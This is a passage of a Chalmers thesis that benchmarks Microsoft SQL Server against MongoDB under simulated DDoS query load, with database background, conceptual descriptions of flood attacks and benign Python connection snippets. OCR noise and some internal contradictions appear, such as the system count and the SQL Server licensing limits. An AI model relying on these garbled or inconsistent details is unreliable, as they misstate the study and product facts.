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A comparison of database management systems DDoS attack robustness

Jonathan Persgarden
Department of Computer Science and Engineering
Chalmers University of Technology

Abstract

A common issue for software companies is that the data size in their database
grows larger than their current system can handle. To further complicate matters
databases might be forced to process an increasing amount of queries, either due to
a growing number of users or due to malicious parties stressing the database with
DDoS attacks. One strategy to account for this is to replace a single server database
with a database distributed over a cluster to allow scaling the databases’ resources
to match varying requirements.

This thesis project aims to provide measurements of the robustness during a DDoS
attack of two different database management systems, DBMS. One is Microsoft
SQL server usually used as a single server database and the distributed database
MongoDb. This thesis will try to answer the questions "How is the performance of
the DBMS affected by a DDoS attack of varying strength?" and "How does data size
affect the DBMS performance?’.

This has been done by performing two test scenarios. One run on a single server
where one Microsoft SQL server instance was compared to three MongoDDb instances
and one run on a cloud solution comparing two Microsoft SQL Server instances to
two MongoDb instances. In both cases, the database instances were hosted on
lightweight virtual machines, Docker containers.

Results have been generated by measuring response times to these databases while
various DDoS attack has been performed on them. The results show that both
solutions work well for smaller data sizes while MongoDb is more when the data
size grows. Making MongoDb a better choice if the data is expected to continuously
grow.

Keywords: Microsoft SQL server, MongoDb, NoSQL, Docker, thesis.
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Abbreviations

The list below shows frequently used abbreviations used in the report
« DBMS DataBase Management System
« RDBMS Relational DataBase Management System
e SQL Structured Query Language
e NoSQL Not only Structured Query Language
e DoS Denial of Service
e DDoS Distributed Denial of Service
o CLI Command Line Interface
o SNIC Swedish LNational Infrastructure for Computing
« SSC SNIC Sience Cloud
« HTTP HyperText Transfer Protocol
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1

Introduction

Cloud computing is an increasingly important tool for software engineers and re-
searchers. It allows users to perform computations and run services on cloud
providers’ resources. This is used by companies to develop and sell services focus-
ing only on software. One of these business models is Software as a Service, SaaS.
Companies providing this relies on delivering a system to their customers that they
usually develop and maintain. One common challenge these companies face is the
need to scale up and down as the traffic to their system changes. One particular
common scenario is that the system needs to be scaled up due to increased data
traffic. This can occur simply because the amount of users has increased, but it
can also be caused by the system being forced to provide a higher data through-
put, which is an increasing issue today when more and more data is generated by
smartphones, websites, or, Internet of things, IoT, devices.

One key part to solve this problem is to be able to scale up the databases. Most SaaS
systems initially rely on a single server, Relational database management system
[43], RDBMS, running SQL, Structured query language. However, such a database
can only be scaled up so far before it is too expensive and eventually impossible
to have one server serve the whole system with data. To solve this the RDBMS
can be replaced by a distributed solution, either, Not only SQL, NoSQL [43], or
NewSQL [39], which can run as a distributed system on many servers.

One more reason that a SaaS company might benefit from a distributed solution
is the robustness it provides. Having a single server that provides all data for
the system creates a concerning vulnerability if something would happen to that
server. This could be exploited by performing a Distributed denial of service, DDoS,
attack [2, 4] on the system, which could be very expensive for the company.

One possible way to guard against this is to use the robustness of a distributed
database to handle the workload during the attack. To understand the effect that
this will have, this thesis will aim at measuring how well two DBMS, database
management system handles a DDoS attack. One will be the NoSQL implementation
MongoDB [37] and the other will be a Microsoft SQL Server database [32].

The difference will be measured on log data from GuardTools [21], a real-world SaaS
company. The data is currently stored on a RDBMS and the result of this thesis
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will be part of the basis for the decision to migrate it to a distributed solution.

Therefore, the work behind this report has been done in collaboration with the
company GuardTools [21]. Guardtools is a company specializing in the digitalization
of the security industry and provides a SaaS solution designed for private security
companies. Their product enables their customers such as G4S, Avarn and Securitas
to work more efficiently and provide a higher quality service to their clients.

1.1 Aim

This thesis project aims at measuring the robustness during a DDoS attack of two
different database management systems, DBMS. The systems tested are Microsoft
SQL server and MongoDB. The two research questions that this thesis will try to
answer is:

o How is the performance of the DBMS affected by a DDoS attack of varying
strength?

o How does data size affect the DBMS performance?

Rather than trying to answer these questions in general, the project aims at answer-
ing them for data structured like GuardTools log data.

1.2 Challenges

The major challenge of the project will be to set up a testing environment that gives
each DBMS equal conditions. First off each solution should have an equal amount
of computational resources which can be challenging to accomplish since one is built
to run on a single server while the other two will be distributed. Furthermore, the
data has to be converted to a data model that suits each system. Since the data
is currently stored on a RDBMS this will mainly be a challenge for the MongoDB
implementation.

Another challenge will be to implement the two solutions in a way that both gives
them the ability to perform as well as possible as well as being able to be scaled up
or down to be able to find differences between the databases.

The last challenge will be to find a way to measure the performance of the DBMS in
such a way that it effectively reflects the robustness of the systems during a DDoS
attack.

1.3 Methodology

To achieve the aim of this project the first step will be to set up the two DBMS.
This will first be done in small scale on a single server and later on a distributed
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cluster. Both setups will be running Docker [14] and Docker Swarm [15] Docker
is a software solution specialized to manage light weight virtual machines while
Docker Swarm is an orchestration tool used to orchestrate those virtual machines.
Using these tools will make it easier to ensure that all DBMS will have the same
resources to work with. Furthermore, using Docker will make the process of testing
on different cluster sizes easier. Once that is done, the log data will be extracted
from Guardtools database and processed to fit the two DBMS. The work done in
this step should be as automatized as possible to make it easy to reload the data and
to add more if necessary. The Microsoft SQL setup will be identical to the one that
the company, Guardtools, uses. This choice has been made in the spirit of making
the result valid for real-world cases. The MongoDB instance will be set up using
the guidelines given in [5].

To be able to measure how the systems handle a DDoS attack, the attack itself has to
be implemented. This will be done by writing a script that queries the database with
multiple expensive queries as suggested in [4]. This script will be run on multiple
Docker containers using Docker Swarm [15]. Code that measures the up-time of the
systems will also have to be created before the measurements can be done. This will
be done by implementing a hear-beat call to each DBMS.

Once the preparations are done measurements will be performed and analyzed for
the two cases. The measurement done by the heartbeat call will indicate how much
the attack accomplice to deny service to a regular user.

1.4 Limitations

There are countless database implementations that one could use. The main limi-
tation of the project is that we will only test with one implementation of each type,
i.e RDBMS, NoSQL. Therefore, for instance, since we only test on a MongoDB
instance, the results should not be directly transferred to other NoSQL implemen-
tations. Furthermore, both tested implementations can be configured in multiple
different configurations, testing with all of these are out of the scope of this thesis
and therefore only a handful of configurations will be tested.

Another important limitation is that the tests will only be run with one type of
data. Different database implementations handle different types of data differently
and can therefore vary in performance. Since we will only test with one type of
data, the results might not be valid for other types of data.

Another constraint of the project is the size of the databases as well as the attacks.
Due to the heavy load put on the test infrastructure during tests. It will not be
possible to test the databases on a truly large scale.

A final limitation is that only read queries will be used for attacks and measurement.
This choice has been done since read queries are the bottleneck for performance for
the data set when used by GuardTools. Furthermore read queries are often easier
to produce in a real scenario. For instance, loading the content of a web page could
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initiate a number of reads to the database serving the web page. Finally performing
queries altering the data in the database would make it required to restore data
between tests making the work slightly more complex and time-consuming.

1.5 Thesis Outline

After this introduction section, a background section will follow, explaining the
theory behind the thesis and the tools used to accomplice the results. After this, a
Method section will follow thoroughly describing how the tests have been set up and
executed. This section will include information about how the docker setup has been
done and how each database has been configured and set up. It will also explain how
data is transferred from the Guardtools database onto the test databases. Finally,
the method section will describe how the attack and measurement code has been
constructed and executed. After the method section follows the results. This section
will explain the results for both the small and large scale tests with graphs and tables
and conclude with a discussion about the results. The final section of the thesis will
elaborate on future work and conclude the findings.



2

Background

2.1 Database management principles

2.1.1 Overview

This section will provide a general theory about database management systems used
to understand the content in the following sections better.

2.1.1.1 CAP Theorem

This theorem, also known as Brewers’ theorem, describes the relations between the
properties, Consistency, Availability and Partition tolerance of a distributed cluster.
In [18] the authors define these properties as:

o Consistency - A read from any node results in the same data across multiple
nodes.

o Availability - A read/write request will always be acknowledged in the form of
success or failure.

o Partition tolerance - The database system can tolerate communication out-
ages that split the cluster into multiple silos and can still service read/write
requests.

The theorem states that any distributed system can have at most two of these three
properties. The authors of [18] continue to describe why this is the case using the
following three scenarios.

If a cluster has consistency and availability, it can not have Partition tolerance. To
maintain consistency all nodes have to communicate to process a request and to
maintain availability, it has to be able to respond to requests at all points. If there
is a split in the cluster all nodes will not be able to communicate. Hence, ether
consistency or availability would have to be sacrificed to obtain Partition tolerance.

If a cluster has consistency and partition tolerance, it can not have availability.
Again to maintain consistency all nodes have to communicate to process a request
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and this is not possible if there is a split in the cluster. Therefore this cluster would
not respond to requests during a split and is therefore not available.

Lastly, if a cluster is available and partition tolerant it can not be consistent. If
there is a split in the cluster and the cluster still responds to requests nodes on
different sides of the split can’t update each other’s data, which will lead to the
cluster responding with different values from different nodes. Therefore, the cluster
is not consistent.

2.1.1.2 ACID

ACID is a database design principle guiding how a database management system
can be implemented. This principle favors pessimistic concurrency and is the one
used by most traditional database management systems. The letters in the acronym
ACID stand for Atomicity, Consistency, Isolation, Durability.

Atomicity specifies that each operation will always succeed or fail completely; there
are no partial transactions. When databases follow this pattern, if an update can
not be completed, a rollback will be performed.

Consistency specifies that the database data will always be in a consistent state,
i.e., its data will always follow its constraints.

Isolation specifies that the result of each operation is isolated until completed.

Durability specifies that operations are permanent. Once committed they are per-
sisted into storage.

This pattern is not based on the CAP theorem. Therefore it is not defined if it will
have Consistency and Availability or Consistency and Partition tolerance. However
it can not be Available and Partition tolerant. Furthermore, databases following
this pattern are often not run on clusters making the CAP theorem irrelevant [18].

2.1.1.3 BASE

The BASE principle is a database design principle built for clustered database man-
agement systems. Its core idea comes from the CAP theorem and is that unlike
ACID databases, BASE databases should have both Availability and Partition tol-
erance, hence giving up consistency. Using optimistic concurrency rather than pes-
simistic. The acronym BASE stands for: Basically Available, Soft state, Eventual
consistency.

Basically Available specifies that the database will always respond to requests with
a success or fail, i.e it is Available.

Soft state specifies that the data could be in an inconsistent state and therefore the
same query could result in different results at different times, even though no other
operations have been performed on the database.

6
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Eventual consistency specifies that the database will be in a consistent state once
changes have had time to propagate through the cluster [18].

2.1.1.4 Open Database Connectivity

Open Database Connectivity, or ODBC as it is usually referenced, is an API that
aims to standardize access to Database management systems regardless of database
or operative system. This is done using an ODBC driver which translates standard-
ized queries into queries that a specific database can process [20].

For instance, the Free TDS driver [19] is an ODBC driver that allows users to connect
to a Microsoft SQL Server from a Linux computer.

2.1.2 Relational database

This is the type of database that most people think about when they think about
databases and is usually what is taught in database courses at universities. It’s core
design stores data in tables with a predefined set of columns and that each row in the
tables must have a unique identifier. These identifiers are used to specify relations
between rows in different tables, thereby the name Relational database [49].

A feature introduced by relational databases is the Structured Query Language,
SQL, a standard among relational databases. Before this was introduced, developers
had to develop specialized solutions to interact with each data storage system they
used, even though many variations of SQL all share the same core principles.

All relational databases will contain at least the following four components:
» Storage management system software
e Memory management software
o Data dictionary
e Query language

The Storage management system software persists and loads data from disks or
flash drives. The Memory management software decides what data should be kept
in memory. Data dictionaries are the part of the database that keeps track of the
data structure, such as tables constraints and indices. Finally, the query language
is a variation of SQL letting users interact with the database [49].

To illustrate the benefits and drawbacks of this type of database, a simple example
will be used. In the T-SQL code below two simple tables are defined, a Person and
a House table.
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CREATE TABLE [House] (
[1d] INT PRIMARY KEY,
[Address] VARCHAR(50),
[Color]  VARCHAR(50)

CREATE TABLE [Person] (
[Id] INT PRIMARY KEY,
[HouseId] INT FOREIGN KEY([HouseId]) REFERENCES [House] ([Id]),
[Name] VARCHAR(50) ,

Here the Person table contains one column, Houseld, which specifies which house
they live in. Using this, join queries makes it easy to query which persons live in
which house or if anyone lives in a given house. This shows how well relations can
be managed in this type of database.

However, the tight coupling between the two tables also causes problems. In the
example above, a person cannot be added to the database unless it lives in one of
the houses present in the House table. This will lead to an issue if one wants to
add a homeless person or a person into the database or just someone whose house
is not in the system. Even further issues would arise if it was decided to add a
relation to a new table once data is already present. Which rows should the already
present data point to? These issues highlight that relational databases are best at
handling structured data, i.e., highly regular data with clear relations. The more
unstructured the data becomes the harder it is to store it in a relational database.
Like the homeless person who didn’t have a value for Houseld caused problems,
this kind of database would also struggle if some entities had a new field of values.
For instance, a system storing products for a supermarket might want to store the
expiration date on cheese but not on their plastic bags [49].

Another issue arising from the tight coupling between tables is that it makes it very
hard to scale out the database, i.e. divide it over multiple servers. In a relational
database all constraints, such as the foreign key relating a Person to a House has
to be fulfilled at all times. To ensure this, at the moment when an entry is added,
updated or deleted the rest of the database has to be locked. When locking down a
cluster it is hard to maintain good performance. This problem can be more precisely
expressed using the CAP theorem. The constraint of always fulfilling all constraints
cause the database to be forced to follow the ACID principle. ACID databases are
not partitioned tolerant making it challenging to host them on a cluster [49].

2.1.3 NoSQL database

NoSQL or Not only SQL databases is a broader concept than relational databases
and encapsulates most solutions that are not relational databases. Most NoSQL
databases are developed to fill one or more of the shortcomings of relational databases.

8
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However, while doing this they usually lose some of the strengths that relational
databases have as well. To do this they typically follow the BASE principle rather
than the ACID, i.e. giving up consistency for availability and partition tolerance.
This makes them easier to scale out into clusters.

A benefit arising from relaxing the consistency constraint is that this allows the
database schema to be more flexible. Data sets are not forced to be dependant on
each other anymore. This makes it easier to store irregular data. However, this
also makes it harder to perform join to aggregate data from different data sets. A
common way for NoSQL databases to solve this issue is to denormalize the data,
i.e., duplicate some of it and group it together where it will most likely be queried.
This makes it harder to keep the data up to date but is often necessary to gain
enough performance.

Another drawback of NoSQL databases is that there is no standard query language
used to communicate with them. Instead each solution has its own, making the
learning curve for using them steeper.

NoSQL databases are usually divided into the four sub-categories Key-Value Database,
Document database, Column Family Database and Graph database further ex-
plained below.

2.1.3.1 Key-Value Database

The key-value database is the most straightforward variation of a NoSQL database.
Its data structure is very similar to a HashMap because all it stores are keys and
their values. The essential features of these databases are Simplicity, Speed and
Scalability. Therefore, the best use case for these is to store simple data or data
that needs to be accessed quickly.

If the data is more complex the Key-value database will not perform very well since
it can be tough to keep track of relations and complex datatype in this simple data
structure.

2.1.3.2 Document database

This is the most commonly used type of NoSQL database. Its most characteristic
feature is its flexible data structure. Instead of storing entities in rows, data is stored
in documents, usually in JSON format. This allows users to work with the database
without a specified schema, giving each entity the power to store whatever data field
is required. Furthermore, this schemaless approach makes it easy to update the data
structure is necessary.

The drawback of this solution is that since the schema is undefined the application
code can end up messy. Never being sure what data is actually stored in an entity
easily leads to many edge cases.

Below is an example of how data from the example in section 2.1.2 could be stored
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in a document database. Note that the data for the house has been added inside
the Person document. This helps the database avoid joining different objects which
are resource-consuming. This solution will make the data for the house with id 3
duplicated for each person who owns it, i.e. it has been denormalized.

{
"Id": 1,
"Name": "Bob",
"House": {
"Id": 3,
"Address": "Test Street 1",
"Color": "Green"
}
}

2.1.3.3 Column Family database

This type of database is best suited for big data use cases [49]. Its main feature
is that it is very scalable and provides very high availability. Its data structure
is a combination of the data structure used by key-value databases and document
databases. There are many ways to visualize how a column family stores data.
One is to imagine that it is a Key-value database where each key points to a set
of documents. Another way is to think about it as a relational database where
each row points to multiple sets of columns with values rather than a set of values.
Each of these sets of columns is called a column family and is schemaless just like a
document in a document database. Furthermore, the values are always stored with
a timestamp that shows when the value was added to the database.

To clarify this with an example, imagine storing data for a person and its house
from the example in section 2.1.2 in this type of database. The data for the person
entity would be one column family and the data for the House entity would be
stored in another. A single row ID will point out both column families for a specific
entry. Therefore the individual column families do not need the ID field anymore.
The foreign key pointing from person to house is no longer required either since the
person and the house are already connected by the same row ID. This data structure
is visualized in figure 2.1.
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Person

Mame
Fri Oct 08 2021 15:45:18

¥

‘Bob”
Row ID
House
Address Color
Fri Cct 08 2021 15:45:18 Fri Oct 08 2021 15:45:18
Test Street 17 '‘Green”

Figure 2.1: Visualization of data stored in a column family database.

2.1.3.4 Graph database

This type of NoSQL database uses the relations between data entities to form the
data structure. The data is stored as a graph where the nodes are the data point and
edges are the relations between the entries. This database type is a good choice for
highly connected data such as for social media or models for how diseases spread. In
other NoSQL solutions, these tasks would be very hard since none of them is good at
performing join operations on their data. However, if the data is not very connected
this type of database loses most of its power and is therefore not as suitable as a
general propose database as the other options.

2.1.4 NewSQL database

NewSQL databases, not to be confused with NoSQL, also called scalable relational
systems are Relational databases that can run on a cluster of servers rather than
a single one. As stated in section 2.1.2 this is a very hard task to complete since
the ACID pattern demands that all entities affected by a query are locked while the
query runs. However, it is theoretically possible as long as applications do not send

queries that span across nodes. Therefore there are multiple attempts to implement
a database like this, some examples are CockroachDB [6] and MySQL Cluster [38].

These solutions are not as widely used as NoSQL or Regular relational databases
yet. Therefore it is not confident that the relational clusters will perform as well
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in real-world use cases as the theory suggest possible. If it proves to be possible,
however, these types of databases would have an advantage against NoSQL solutions
in most use cases due to the simplicity provided by ACID and SQL.[48]

2.2 Databases

This section will describe some database management systems important for the
project.

2.2.1 Microsoft SQL Server

Microsoft SQL Server database is a common solution for companies using Windows
servers. It is a relational database that is run on a single server. The database
supports the CRUD, Create, Read, Update and Delete, operations which can be
performed using Transaction-SQL [32]. Tt is developed by Microsoft and therefore
works well in a Windows environment. For instance, Windows user profiles can be
given privileges to all or some of the database functions letting users use Windows
authentication to access the database. Like most other relational databases, this
database follows the ACID pattern.

2.2.1.1 Always On

Always On is the name of the feature allowing Microsoft SQL databases to be
distributed over multiple servers. This is done by connecting multiple SQL server
instances in an Availability group. The group can be customized with a variety of
parameters changing the behavior of the cluster. The most important parameters
will be described below [26].

All availability groups will have a primary node and up to eight secondary nodes.
The primary node handles read and write requests, keeps secondaries up to date
and stores the primary state of the database. The Secondaries will keep a copy of
the data in the database being available for read requests.

The most important parameter of the availability group is if the group is set up
for high availability or read scale. If the group is set up in high availability mode
all nodes in the cluster will attempt to share the load put on the database until all
nodes fail together. To make this possible the group has to be set up together with
a cluster manager coordinating the workload. The other variation is the read-scale
availability group. In this group, the database of the primary node is continuously
copied to the secondary nodes being available for read-only work.

Another setting that has to be made is to choose if the database should synchronize
the nodes. Changes can either be committed using the Asynchronous-commit mode
or the Synchronous-commit mode. Using the Asynchronous-commit mode a trans-
action will be accepted once the primary node has processed it, then the update is
sent to secondary nodes. This makes secondaries lag behind and opens the possibil-
ity for data loss. The other option, the Synchronous-commit mode, will wait until
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the secondary node acknowledges the transaction. This causes more delay for the
user but makes prevents data loss.

One important limitation of availability groups is that their cluster size is limited.
For users with an enterprise license only two nodes are allowed to enter the group.
With an enterprise license up to nine nodes can join the cluster. Another thing that
is important to note is that the enterprise license has to be paid for each node in the
cluster making the overall cluster cost an important factor to consider when using
availability groups.

2.2.1.2 Plan Cache object

Plan Cache object can be used to monitor how the database manages its memory. It
keeps track of various counters providing information about how the cache memory
is used. For instance it counts how many objects are stored in the cache and the
ratio of how many lookups uses the cached data [27].

Furthermore, it stores the SQL Plans which are the instructions for how the databases
should execute a specific query. The database uses these to make it less resource-
consuming to execute many similar queries.

The Plan Cache object can be accessed using the following T-SQL code:

SELECT * FROM sys.dm_os_performance_counters
WHERE object_name LIKE '\JPlan Cache\}';

2.2.1.3 Memory-Optimized Tables

Microsoft SQL Server also provides the feature named Memory-Optimized Tables.
This feature allows the database to keep a table in memory as well as on the disk.
This allows the database to answer queries more quickly since it doesn’t have to
involve disk storage. To ensure that the data on disk does not lag too far behind
the database updates it as a secondary data source [28].

Using a Memory-Optimized Table will allocate a chunk of the server memory to a
specific table that could draw resources from elsewhere. Data in these tables are
also more vulnerable to data loss in the case of a dramatic failure of the database
since it is not immediately persisted in memory.

2.2.2 MongoDB

MongoDB is an open-source document database. However, it is maintained by
the company with the same name. The company MongoDB informs developers of
how their database can be used in different scenarios and offers different variations
of hosted database cluster solutions for their customers. At the time of writing,
companies such as SEGA, Verizon and Google use this database [37].
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The database handles caching by keeping recently used data in RAM. Furthermore,
for queries using indexes the database will load the working data set into RAM and
use that to process queries. However, this is only the case if the working data set

fits in RAM.

2.2.2.1 Replication

As with most other NoSQL databases, MongoDB follows the BASE pattern. How-
ever, since this is not always desired it supports joins and ACID transactions al-
though there are resource-demanding [37].

Replication is performed by connecting nodes that should contain the same data
set into a replica set. The replica set follows a Primary/Secondary architecture
(previously called Master/Slave) where only one node is selected as a primary node
while the others will be secondary. The primary node can change the parameters
of the replica set. Some of these are the replication factor, how many times each
document will be replicated, which nodes will be included in the set and specifics
on how primary nodes are chosen. Once a node is part of the replication set, it will
check the availability of other nodes in the set using a heartbeat call.

The replication is performed by having the primary node store all recent operations
that have been done to its data. Then it shares this information with all secondaries
letting them update their data using the same operations. This is visualized in figure
2.3.

Figure 2.2: Replication of MongoDB data [37]

If the primary node fails the replica set will elect one of them to become the new
primary as shown in figure 2.3. This can be tuned by changing the number of votes
that each node gets and by adding arbiter nodes, a node that does not contain data.
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) Replication

Figure 2.3: Reelection of new primary node in a MongoDB replica set [37]

2.2.2.2 Data structure

The data in a MongoDB replica set is structured into databases that in turn are
structured into collections. The collections are in turn structured into documents.
To draw parallels to a relational database, the collections are similar to tables while
the documents are the entries in the tables [5].

Since MongoDB is a document database, one of the core features is that the data
structure is schemaless. Therefore there are per default no constraints on what a
document can contain. Another feature provided is embedded documents, i.e. that
one document is allowed to contain sub-documents. This is used to denormalize data
and therefore to avoid joins. MongoDB keeps denormalized objects up to date using
their Id, preventing developers from having to remember to update all locations
where a denormalized object is stored.

2.3 DDoS attack

A DDoS, Distributed Denial of Service, attack is an attack when the attacker at-
tempts to exhaust all resources from a service to either take it down or to deny
regular users accessing it. The first D, Distributed, in DDoS means that the at-
tack is performed by many nodes simultaneously, allowing the attack to generate
a strength proportional to the number of nodes used. Because of this the attack
can be as strong as the attackers’ resources can afford. A common characteristic
of a DDoS attack is that it is hard to protect against since it is usually hard to
distinguish between regular user traffic and an attack. Another factor making this
type of attack more dangerous is that it does not take much knowledge or effort to
perform making it very accessible [46].
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The goal of a DDoS attack is to consume the victims’ resources and there are of
course many ways to do this. Therefore, there are many types of DDoS attacks.
Some common types will be explained below. A good tool to understand these
attacks is the OSI model [7]. This model is a standard for describing seven ab-
stract layers of computer networks making it easier to reason about them. It is
helpful in the context of DDoS attacks since attacks can target different layers in
the model [46].

OSI Model

Data Layer

Application
Data NehF:rnEk Process to
Application
Presentation
Data Data Representation
and Encryption
Session
Data Interhost Communication
B j
Segments| End-toEnd nnectmns
and Reliability
Packets paulyneawm%ukm ]
and IP (Logical Addressing)
Data Link
Frames MAC and LLC
{Phyiscal addressing)

b ,/’
Figure 2.4: Visualization of the 7 layers in the OSI model [50]

Host Lavers

Media Layers

2.3.1 HTTP Flood

This attack targets the application layer in the OSI model explained in section 2.3.
The essence of this attack is as the name suggests to flood the server with HT'TP
requests. The goal of this is to consume resources otherwise used by regular users.
This can be done in multiple ways. Therefore these attacks are classified into four
categories. In the first Session flooding attack the attacker will try to create
as many open sessions with the server as possible, attempting to prevent regular
users from gaining a session. The second class, Request flooding attack aims at
sending as many requests as possible, consuming the server’s resources. The third
class, Asymmetric attack, focuses on sending high workload requests rather than

16



2. Background

a high amount of requests. The last class, the Slow request/response attack,
aims at sending requests as slowly as possible and uses this to lock up as many of
the server’s resources as possible [47].

Since this type of attack targets the application layer it is among the hardest to
detect. This is partly because it mimics the behavior of real users, which also
interact with the application layer [47].

2.3.2 UDP Flood

In this attack the attacker sends a large amount of UDP packages to random ports at
the victim. This causes the victim to check for applications listening to those ports
repeatedly and replying with packages stating that there is no reachable content at
the given port. Both actions could eventually end up consuming enough resources
to deny service for real users [46].

2.3.3 SYN Flood

This attack exploits the "three-way handshake" in the TCP protocol. In this proto-
col, a SYN request has to be answered with SYN-ACK, which has to be answered
by ACK. The essence of the attack is to send multiple SYN requests but never
respond with ACK. This causes the victim to continue to wait for ACK, which
binds resources. Once no more connections can be made regular users are denied
service [46].

2.4 Tools

This section will explain the most important tools used in the project.

2.4.1 Pyodbc

Pyodbc is an open-source Python package created to enable connection to ODBC
databases using Python. It allows its users to open a connection to a database and
query it easily. This can be done using the following pattern [33].

import pyodbc

# Specifying the ODBC driver, server name, database, etc. directly
cnxn = pyodbc.connect( \

'"DRIVER={0DBC Driver 17 for SQL Serverl}; \

SERVER=1localhost; \

DATABASE=testdb; \

UID=me; \

PWD=pass"')
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# Create a cursor from the connection
cursor = cnxn.cursor()

cursor.execute("select user_id, user_name from users")
row = cursor.fetchone()
if row:

print (row)

This will connect to the database testDB and print the first values in the fields
user id and user name.

2.4.2 Pymongo

Pymongo is the recommended way to access MongoDB using Python. It is a python
package maintained by MongoDB themselves but still benefits from the community
of users contributing to the solution. The packages code is available on GitHub [8].
The package makes it possible for users to connect to a MongoDB instance and
query it. An example of this is provided below.

import pymongo
client = pymongo.MongoClient("localhost", 27017)
db = client.test

db.my_collection.insert_one({"x": 10})
db.my_collection.insert_one({"x": 83})
db.my_collection.insert_one({"x": 11})

for item in db.my_collection.find():
print(item["x"])

This will print 10 8 11.

2.4.3 Multiprocessing

Multiprocessing is a Python package used for spawning processes [40]. Generally
multiprocessing is hard in Python due to the global interpreter lock. The global
interpreter lock is the mechanism in the Python interpreter that assures that a
Python program is run on only one thread [41]. The Multiprocessing package can
sidestep this constrain and let Python users write truly parallel programs.

Below is an example of a program that uses this to launch two tasks running the
function f1 in parallel utilizing the process function.
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from multiprocessing import Process

pl = Process(target=f1, args=[])
p2 = Process(target=f1, args=[])
pl.start()
p2.start()

pl.join()
p2.join()

2.4.4 MongoDB CLI tools

MongoDB provides multiple CLI tools to make it easy to communicate with a cluster.
Two important ones are mongosh used to connect to the cluster and mongoimport
used to import data.

Using the mongosh tool is one of the easiest ways to connect to a MongoDB instance
remotely. Provided with an IP address to a node and credentials, the mongosh
program will create a session where the user can send commands directly to the
connected node. The program will start a mongo shell, a run Javascript code that
will query the database. This can for instance be used to set up a replica set or to
explore the node’s data [35].

The mongoimport lets the user quickly import data stored in JSON CSV or TSV
format into a replica set. All the user needs to do is give credentials and specify in
which database and collection it should be placed. This command goes well with the
mongoexport program which as the name suggests, exports the data from a replica

set [36].

2.4.5 Microsoft SQL Server Management Studio

Microsoft SQL Server Management Studio is an integrated environment that can
manage any Relational database running SQL. The software allows users to access,
configure, administrate and develop the database.

Microsoft SQL Server Management Studios’ core functionality is that it lets users
connect to a database, run queries on it and visualize the results. However, as stated
above it has many more features, for instance the ability to backup and restore a
database and the ability to visualize the current workload of the database [29].

2.5 Related work

Countless articles describe how NoSQL databases are implemented as well as their
benefits and drawbacks. There are even many articles analyzing the difference be-
tween NoSQL databases and RDBMS, [43] for instance. There are also articles like
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[13] that measure the performance of New SQL database solutions. To the best of
our knowledge, these articles lack information on how these differences affect the
robustness of the system against a DDoS attack.

The authors of [1] have made a similar study in which they suggest a combination
of a NoSQL and a RDBMS solution to stop attackers from being able to perform a
DDoS attack on the production data. This thesis will on the other hand focus on
measuring how well the DBMS, Database management systems, hold up once an
attack occurs.

A DDoS attack, Distributed Denial of Service attack, is where the attacker sends
multiple requests to a system to consume network bandwidth and server resources [2].

The robustness will be measured on three data storage solutions, MongoDB, Cock-
roach and a Microsoft Server SQL database. MongoDB is a document database,
meaning that it stores the data in BSON, Binary JSON, format. Its key features
are as with most NoSQL databases, providing high performance, data redundancy
and horizontal scaling. All CRUD operations can be performed on the database
using a DSL [5].
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3.1 Overview

As stated in section 1.1 this project aims to measure how databases respond to DDoS
attacks. To measure this it is crucial to isolate the database under test and not test
on a complete system. If one would for instance put an API between the database
and the end-user as is commonly recommended, it would be hard to tell if the API or
the database is the bottleneck when performance starts to decrease. Another factor
that can potentially become a bottleneck during testing is the network, especially
if the database would be hosted on a network that a third party manages. This
would be the case if the databases were hosted on a regular cloud service provider’s
servers.

To avoid a bottleneck like this all tests have been run o two easy-to-control envi-
ronments. The first tests were run on the server described in section 3.5 providing
a controlled small-scale environment. Further tests were run on the SNIC Science
cloud where more realistic tests could be run on multiple nodes in the cluster.

The databases and attacks themselves have been run using Docker containers. This
choice makes the transition between the small and large-scale environment smoother
as well as ensures that results can be reliably reproduced as described in section 3.3.
Furthermore, using Docker lets us control the strength of each component. This
is important since two potential problems are that the attack ether is not strong
enough to disturb the databases or that it is too strong so that it is hard to draw
any conclusions about the difference of the DBMS. With Docker the strength of
both the databases and the attack can easily be modified to get results where both
databases experience problems as well as that a good split of their performance is
generated.

The choice to test the specific databases management systems MongoDB and Mi-
crosoft SQL Server is because both are commonly used in the industry [5] [32].

Another decision that has been made is the size of the database clusters. For the
small-scale test on a single machine the number of MongoDB nodes was chosen to
be three since this is a standard size for a cluster without any specific requirements.
The more challenging choice is to decide how strong the nodes should be. All of
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the MongoDB nodes will share the same resources as the Microsoft SQL Server.
This is a slightly unrealistic scenario since it is much less costly to add resources
to a distributed database by adding more nodes rather than buying an increasingly
strong single server for a single server database.

For the large-scale test on the SNIC Science Cloud both the Microsoft SQL Server
and the MongoDB databases are run on two nodes. This choice was made since
the Microsoft SQL server will be run on two nodes using a high availability group,
which only allows for two nodes in the cluster without the usage of an enterprise
license. Again this is slightly unrealistic since a MongoDB database has its largest
potential when it is scaled up more. Another factor affecting this decision was that
this project was constrained to only use ten nodes on the Science cloud, to make the
attack truly distributed it was desired to have as many attacker nodes as possible.

The data used in the tests have been log data from Guardtools. This has been
used since this type of data is often not well suited for a relational database and is
therefore likely to be the first to be moved to a distributed database.

3.2 Virtual machines

This section aims at describing the basics of what a virtual machine is. This knowl-
edge is used both for the single server test that was hosted on a virtual machine as
well as being the foundation of understanding how Docker functions.

A virtual machine is an emulation of a computer system. They are based on com-
puter architecture and should have the same functionality as a physical computer.
In practice this allows a physical computer to be divided into multiple independent
pieces. This has been used since the 1960s and is a vital part of many computer sys-
tems. Virtual machines work by making the host machine run the OS for the guest
machine. The host also simulates the hardware input into the guest, making it work
as closely as a regular computer as possible. This has many benefits, two of which
are resource sharing and isolation. Resource sharing describes that many virtual
machines can share the same hardware, which can decrease the cost of a system.
[solation means that using virtual machines multiple tasks on a single computer can
be decoupled since each guest can run independently from each other [44].

There are many different types of virtual machines. What differs most between them
is to what degree they truly work like a regular computer. The most common type
is Full virtualization in which the virtual machine works as close to an ordinary
computer as possible where the OS on the guest runs out of the box and the host
simulates all inputs. Truly Fully virtualized machines are not very common though,
since it is challenging and resource-demanding to emulate a processor. However,
virtual machines that overlook this are usually also considered to be fully virtualized.
Another common type of virtualization is Paravirtualization. This differs from
full virtualization because the guest OS has to be modified to run on a machine like
this. Lastly there is Resource virtualization. Here it is only a resource such as a

22



3. Methods

storage volume or network resource that is virtualized. This can for instance be used
to split a large hard drive into multiple virtualized smaller ones [44]. The anatomy
of how a virtual machine is hosted can be seen in figure 3.1. The hardware of the
host is marked as infrastructure in the figure. The hypervisor is the program making
